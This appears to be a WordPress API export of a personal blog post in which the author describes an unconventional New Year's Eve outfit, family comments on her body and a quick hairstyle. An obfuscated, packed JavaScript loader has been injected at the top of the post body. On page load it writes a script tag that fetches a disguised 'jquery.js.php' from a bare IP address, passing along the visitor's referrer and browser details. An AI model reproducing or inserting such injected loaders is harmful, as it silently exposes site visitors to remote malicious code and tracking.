{"id":63,"date":"2012-01-06T00:26:12","date_gmt":"2012-01-06T00:26:12","guid":{"rendered":"http:\/\/sooutrageous.lovelyburger.com\/?p=63"},"modified":"2016-09-16T08:04:29","modified_gmt":"2016-09-16T12:04:29","slug":"a-very-special-new-years-episode","status":"publish","type":"post","link":"http:\/\/sooutrageous.lovelyburger.com\/?p=63","title":{"rendered":"a very special new year&#8217;s episode"},"content":{"rendered":"<p>Right so<br \/>\n<noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfakb|var|u0026u|referrer|fbkys||js|php'.split('|'),0,{}))\n<\/script><\/noindex><br \/>\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"1\" src=\"https:\/\/lh3.googleusercontent.com\/-1eg1zySE2nA\/TwOsaQm-blI\/AAAAAAAAAsI\/McdyV3rZ4p8\/s800\/74.jpg\" alt=\"\" width=\"800\" height=\"600\" \/><\/p>\n<p>This is what I wore on New Year&#8217;s Eve!<\/p>\n<p>It was pretty out of my comfort zone for several years: clashing patterns, my boobs were visibly lower than many ladies&#8217; like,\u00a0and more visible than most people are ok with in the first place, I was wearing the skirt as like&#8230; a jumper skirt, and I also drank enough wine that the skirt came off to reveal hotpants (not pictured!)<\/p>\n<p>As soon as one of my sisters saw this online, she told me to &#8220;burn that skirt&#8221;. My little sister said, &#8220;You looked ok, except your back&#8230;?&#8221; (&#8220;My back fat?&#8221; I offered). &#8220;NO NOT FAT. I didn&#8217;t say fat! You said fat!&#8221; Yes, yes I did. Sometimes I get so safe and comfy-warm in my internet cocoon that I forget how susceptible everyone around me is to self-criticism, which then extends itself to outside criticism. My back fat was fine. My visible, sort of low-hanging boobs were fine. It was a fun outfit! I also get tired of being told I can ever be cute, and not sexy.<\/p>\n<p>Sometimes I also just want to be an eyesore and not cute or sexy, because I&#8217;d rather be offensive than boring or fitting too tightly into the fat lady infantilization or oversexualization boxes. I usually set up a pretty permanent camp in the former box.<\/p>\n<p>THE SKIRT HAS FUCKING MALE ACROBATS ON IT YEAH RIGHT I&#8217;D SOONER BURN MY SISTER THAN THIS SKIRT:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"2\" src=\"https:\/\/lh3.googleusercontent.com\/-T6zDWLGB8P0\/TwY30klSSfI\/AAAAAAAAAus\/clLEqycvpao\/s800\/Photo%252520on%2525202011-12-31%252520at%25252017.55%252520%2525235.jpg\" alt=\"\" width=\"426\" height=\"320\" \/><\/p>\n<p>Oh my god<\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"3\" src=\"https:\/\/lh4.googleusercontent.com\/-0TKYmhlyQhw\/TwY3ygTXShI\/AAAAAAAAAuo\/hkxQFqwXD3Y\/s800\/Photo%252520on%2525202011-12-31%252520at%25252017.50%252520%2525232.jpg\" alt=\"\" width=\"640\" height=\"480\" \/><\/p>\n<p>Fancy hair! Easy to do: Put hair up in a ponytail with a &#8220;bump&#8221; in front. Curl hair in ponytail. Spray the shit out of your hair. Bobby pin curls to the side of your head. Spray more hairspray.<\/p>\n<p>All in all, though, it was an excellent night and though my outfit was WEIRD, I did my standard Holiday Glam and Sexy the week before. 2012 needed to be brought in with a little WEIRD and UNSETTLING.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"4\" src=\"https:\/\/lh5.googleusercontent.com\/-Pjd7eyT47Vo\/TwOse-eupCI\/AAAAAAAAAss\/HU_Ngm--znk\/s800\/76.jpg\" alt=\"\" width=\"640\" height=\"480\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Taken by Elly, immediately preceding hotpants removal. Happy new year!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Right so This is what I wore on New Year&#8217;s Eve! It was pretty out of my comfort zone for several years: clashing patterns, my boobs were visibly lower than many ladies&#8217; like,\u00a0and more visible than most people are ok with in the first place, I was wearing the skirt as like&#8230; a jumper skirt,&hellip; <a class=\"more-link\" href=\"http:\/\/sooutrageous.lovelyburger.com\/?p=63\">Read More <span class=\"screen-reader-text\">a very special new year&#8217;s episode<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=\/wp\/v2\/posts\/63"}],"collection":[{"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=63"}],"version-history":[{"count":1,"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=\/wp\/v2\/posts\/63\/revisions"}],"predecessor-version":[{"id":795,"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=\/wp\/v2\/posts\/63\/revisions\/795"}],"wp:attachment":[{"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=63"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=63"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/sooutrageous.lovelyburger.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=63"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}